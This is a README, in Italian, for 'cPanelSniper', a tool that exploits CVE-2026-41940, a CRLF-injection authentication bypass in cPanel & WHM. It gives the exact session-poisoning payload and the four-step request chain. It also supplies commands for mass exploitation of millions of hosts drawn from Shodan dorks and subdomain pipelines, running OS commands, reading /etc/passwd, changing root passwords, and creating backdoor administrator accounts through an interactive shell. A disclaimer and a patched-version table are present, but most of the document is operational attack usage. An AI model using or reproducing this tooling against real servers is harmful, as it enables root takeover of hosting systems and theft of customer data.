
cPanelSniper STABLE - CVE-2026-41940 ottimizzato per oltre 10 milioni di obiettivi
CVE-2026-41940 — Bypass dell'autenticazione cPanel & WHM tramite iniezione CRLF nel file di sessione
Catena di exploit in 4 fasi · Shell WHM interattiva · VERAMENTE STABILE per oltre 10 milioni di target · Zero utilizzo di memoria · solo stdlib
cPanelSniper è un framework di sfruttamento mirato per CVE-2026-41940, una vulnerabilità critica di bypass dell'autenticazione che colpisce cPanel & WHM. La vulnerabilità consente a utenti remoti non autenticati di ottenere accesso WHM a livello root iniettando sequenze CRLF nel file di sessione tramite l'header HTTP Authorization — senza alcuna credenziale valida.
Solo per test di penetrazione autorizzati e programmi di bug bounty.
Questa versione è ottimizzata per la scansione di oltre 10.000.000 di target con ZERO utilizzo di memoria.
--resumesubfinder, httpx, shodanLa causa principale risiede in Session.pm: la funzione saveSession() chiama filter_sessiondata() dopo aver scritto il file di sessione su disco. Ciò significa che i caratteri CRLF incorporati nel valore dell'header Authorization: Basic vengono scritti letteralmente nel file di sessione, iniettando campi controllati dall'attaccante prima della sanificazione.
Flusso normale:
POST /login/ → filter_sessiondata() → scrivi sessione → controllo auth
Flusso vulnerabile:
POST /login/ → scrivi sessione (payload CRLF iniettato) → filter_sessiondata() → il controllo auth legge il file avvelenato
Il valore Authorization: Basic decodificato è:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Questi campi vengono scritti direttamente nel file di sessione su disco. Quando vengono riletti, cPanel tratta la sessione come una sessione root completamente autenticata.
┌─────────────────────────────────────────────────────────────┐
│ Fase 0 — Scoperta del nome host canonico │
│ GET /openid_connect/cpanelid → 307 → nome host reale │
├─────────────────────────────────────────────────────────────┤
│ Fase 1 — Creazione sessione preauth │
│ POST /login/?login_only=1 (credenziali errate) │
│ ← 401 + cookie whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ Fase 2 — Iniezione CRLF │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd scrive i campi CRLF nel file di sessione │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Fase 3 — Propagazione (gadget do_token_denied) │
│ GET /scripts2/listaccts │
│ Attiva il flush raw→cache — i campi iniettati diventano attivi │
│ ← 401 Token negato (previsto) │
├─────────────────────────────────────────────────────────────┤
│ Fase 4 — Verifica accesso root WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = COMPROMESSO │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
Nessuna installazione pip richiesta. Solo stdlib Python 3.8+ puro.
# Target singolo — solo scansione
python3 cPanelSniper.py -u https://target.com:2087
# Target singolo — shell interattiva dopo il bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Elenco di target ampio — oltre 10M di target (VERAMENTE STABILE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# Riprendi scansione interrotta
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Elenca tutti gli account cPanel sul server
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Esegui comando OS
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Ottieni informazioni sul server (hostname, carico, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Ottieni versione cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Cambia password root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Shell WHM interattiva
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → salva su file → scansiona oltre 10M di target
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# Dall'elenco di scope - gestisci milioni di domini
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Risultati Shodan - scansione massiccia
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json
# Pipe stdin - solo per elenchi piccoli (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py
# Più fonti combinate → scansione su larga scala
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume
Per la scansione di oltre 10M di target:
Salva sempre prima su file - Non usare pipe dirette per elenchi di grandi dimensioni
# BUONO - funziona con oltre 10M di target
httpx ... > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# CATTIVO - andrà in crash con elenchi di grandi dimensioni
httpx ... | python3 cPanelSniper.py
Usa un numero di thread appropriato
Abilita la ripresa automatica per scansioni lunghe
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
Se interrotta, esegui di nuovo con --resume
Monitora l'avanzamento
Dopo un bypass riuscito, il flag --action shell apre un prompt interattivo:
════════════════════════════════════════════════════════════
Shell WHM — target.com
Versione: CVE-2026-41940 | Auth: bypass CRLF
Digita 'help' per i comandi, 'exit' per uscire
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[Account cPanel] target.com:2087 (47 utenti)
user01 dominio: example.com email: [email protected]
user02 dominio: shop.com email: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[Info Server] https://target.com:2087
hostname: srv01.target.com
carico: 0.72 / 0.66 / 0.69
versione: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[AMMINISTRATORE BACKDOOR CREATO]
Target : https://target.com:2087
Utente : mitsec
Password : P@ss2026!
Profilo : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--resume]
[-o OUTPUT] [--no-color] [--save-interval N]
Target:
-u, --url URL URL target singolo (es. https://host:2087)
-l, --list LIST File con URL (uno per riga)
--hostname HOSTNAME Sovrascrivi header Host canonico (auto-scoperto)
Scansione:
-t, --threads N Thread concorrenti (predefinito: 20)
--timeout N Secondi di timeout richiesta (predefinito: 15)
--resume Riprendi dalla scansione precedente (salta target elaborati)
Output:
-o, --output FILE Salva risultati su file JSON
--no-color Disabilita colori ANSI
--save-interval N Salva risultati ogni N secondi (predefinito: 60)
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — Bypass auth cPanel & WHM tramite iniezione CRLF
4 fasi: preauth → iniezione CRLF → propagazione → verifica → post-exploit
In-The-Wild | CVSS 10.0 | Di Mitsec (@ynsmroztas)
Configurazione:
Target : 1
Thread : 10
Timeout : 15s
Azione : list
14:46:22 [SCAN] Avvio catena di exploit in 4 fasi... https://target.com:2087
14:46:23 [INFO] Hostname canonico scoperto: srv01.target.com
14:46:23 [STEP] Fase 1/4 — Creazione sessione preauth...
14:46:23 [ OK] Fase1: sessione preauth = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Fase 2/4 — Iniezione CRLF tramite header Authorization...
14:46:24 [ OK] Fase2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Fase 3/4 — Attivazione gadget do_token_denied (raw→cache)...
14:46:25 [ OK] Fase3: HTTP 401 — gadget do_token_denied attivato
14:46:25 [STEP] Fase 4/4 — Verifica accesso root WHM...
14:46:26 [PWND] CVE-2026-41940 CONFERMATO — accesso root WHM!
14:46:26 [PWND] Token : /cpsess8493537756
14:46:26 [PWND] Versione : 11.130.0.6
14:46:26 [PWND] URL API : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Esecuzione azione post-exploit: list
14:46:27 [ API] listaccts → HTTP 200
[Account cPanel] target.com:2087 (47 account)
client01 dominio: client01.com email: [email protected]
client02 dominio: client02.net email: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — Scansione completata
Tempo: 5.8s · Target: 1
⚡ 1 TARGET VULNERABILE(I)
Target : https://target.com:2087
Versione : 11.130.0.6
Token : /cpsess8493537756
URL API : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
Il valore Authorization: Basic iniettato (decodificato in base64) contiene sequenze CRLF che diventano nuove righe nel file di sessione cPanel:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
Il lettore di sessioni di cPanel interpreta questi come campi di sessione legittimi, concedendo pieno accesso root WHM.
Il passaggio critico e spesso trascurato: dopo l'iniezione CRLF (Fase 2), i dati di sessione avvelenati esistono solo nel file di sessione grezzo. Una richiesta a /scripts2/listaccts attiva il gestore interno do_token_denied, che scarica i dati di sessione grezzi nella cache di sessione. Senza questo flush, la Fase 4 restituirebbe un 403.
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- hash ob (rimosso)
+-- nome sessione (usato per l'iniezione)
Il nome della sessione (prima di %2C) viene estratto e utilizzato come valore del cookie per le richieste successive.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e programmi di bug bounty. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità e non è responsabile di alcun uso improprio o danno causato da questo strumento. Ottieni sempre la dovuta autorizzazione scritta prima di testare.
Mitsec — @ynsmroztas
Realizzato con ❤️ da @ynsmroztas
| Problema | Versione originale | Versione corretta |
|---|
| Utilizzo memoria | Carica tutti i target in RAM | Trasmette i target riga per riga (0 memoria) |
| 10M target | OOM → Terminato ❌ | Completamento riuscito ✅ |
| Ripresa | Non supportata | Flag --resume |
| Avanzamento | Nessuna ETA | ETA in tempo reale + velocità + statistiche |
| Risultati | Salvati solo alla fine | Salvati ogni 60s (configurabile) |
| Ramo | Vulnerabile | Corretta |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| Comando | Descrizione |
|---|
id / whoami | Mostra UID e hostname |
hostname | Ottieni hostname del server |
version | Info versione cPanel |
info | Carico, disco, host MySQL, versione |
accounts | Elenca tutti gli account utente cPanel |
cat <path> | Leggi contenuto file |
ls [path] | Elenca directory |
exec <cmd> | Esegui comando OS |
addadmin <user> <pass> | Crea amministratore WHM backdoor |
passwd <pass> | Cambia password root |
api <endpoint> [k=v ...] | Chiamata API JSON WHM grezza |
help | Mostra tutti i comandi |
exit | Esci dalla shell |